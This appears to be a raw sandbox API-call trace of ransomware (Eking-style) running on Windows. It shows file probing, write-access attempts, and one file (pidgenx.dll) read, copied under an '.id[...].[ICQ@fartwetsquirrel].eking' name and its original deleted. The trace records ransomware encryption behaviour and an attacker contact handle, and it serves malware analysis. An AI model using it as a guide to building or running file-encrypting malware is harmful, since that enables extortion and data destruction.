GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0287.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0287.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.373] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0287.373] CloseHandle (hObject=0x2e4) returned 1 [0287.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0287.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0287.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.375] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=733696) returned 1 [0287.375] CloseHandle (hObject=0x2e4) returned 1 [0287.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0287.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0287.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.376] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10752) returned 1 [0287.376] CloseHandle (hObject=0x2e4) returned 1 [0287.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0287.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0287.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.377] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0287.377] CloseHandle (hObject=0x2e4) returned 1 [0287.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0287.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0287.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.378] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=9728) returned 1 [0287.378] CloseHandle (hObject=0x2e4) returned 1 [0287.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0287.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui")) returned 0x20 [0287.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-rs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.379] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=10240) returned 1 [0287.379] CloseHandle (hObject=0x2e4) returned 1 [0287.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0287.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0287.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.385] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=41984) returned 1 [0287.385] CloseHandle (hObject=0x2e4) returned 1 [0287.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0287.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll")) returned 0x20 [0287.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.386] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=4101632) returned 1 [0287.386] CloseHandle (hObject=0x2e4) returned 1 [0287.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0x20 [0287.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0287.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll")) returned 0 [0287.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.388] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=391040) returned 1 [0287.388] CloseHandle (hObject=0x2e4) returned 1 [0287.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0287.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe")) returned 0x20 [0287.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0287.389] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=9728) returned 1 [0287.389] CloseHandle (hObject=0x2e4) returned 1 [0287.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0287.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0287.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0287.827] SetEvent (hEvent=0x2a0) returned 1 [0287.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0287.829] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1475160) returned 1 [0287.829] CloseHandle (hObject=0x30c) returned 1 [0287.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0287.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 0x20 [0287.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0287.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0287.830] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0287.830] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0287.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2dc [0287.832] ReadFile (in: hFile=0x30c, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x110100, lpOverlapped=0x0) returned 1 [0288.266] WriteFile (in: hFile=0x2dc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x110100, lpOverlapped=0x0) returned 1 [0288.519] ReadFile (in: hFile=0x30c, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x58158, lpOverlapped=0x0) returned 1 [0288.527] WriteFile (in: hFile=0x2dc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x58160, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x58160, lpOverlapped=0x0) returned 1 [0288.540] WriteFile (in: hFile=0x2dc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xf2, lpOverlapped=0x0) returned 1 [0288.875] CloseHandle (hObject=0x30c) returned 1 [0288.875] CloseHandle (hObject=0x2dc) returned 1 [0288.876] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1 [0288.883] SetEvent (hEvent=0x2a0) returned 1 [0288.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0288.885] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=255) returned 1 [0288.885] CloseHandle (hObject=0x2dc) returned 1 [0288.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0288.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0288.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0288.886] SetEvent (hEvent=0x2a0) returned 1 [0288.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0288.889] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1074) returned 1 [0288.890] CloseHandle (hObject=0x2dc) returned 1 [0288.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0288.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0288.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0288.890] SetEvent (hEvent=0x2a0) returned 1 [0288.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0288.893] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=645) returned 1 [0288.893] CloseHandle (hObject=0x2dc) returned 1 [0288.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0288.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0288.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0288.893] 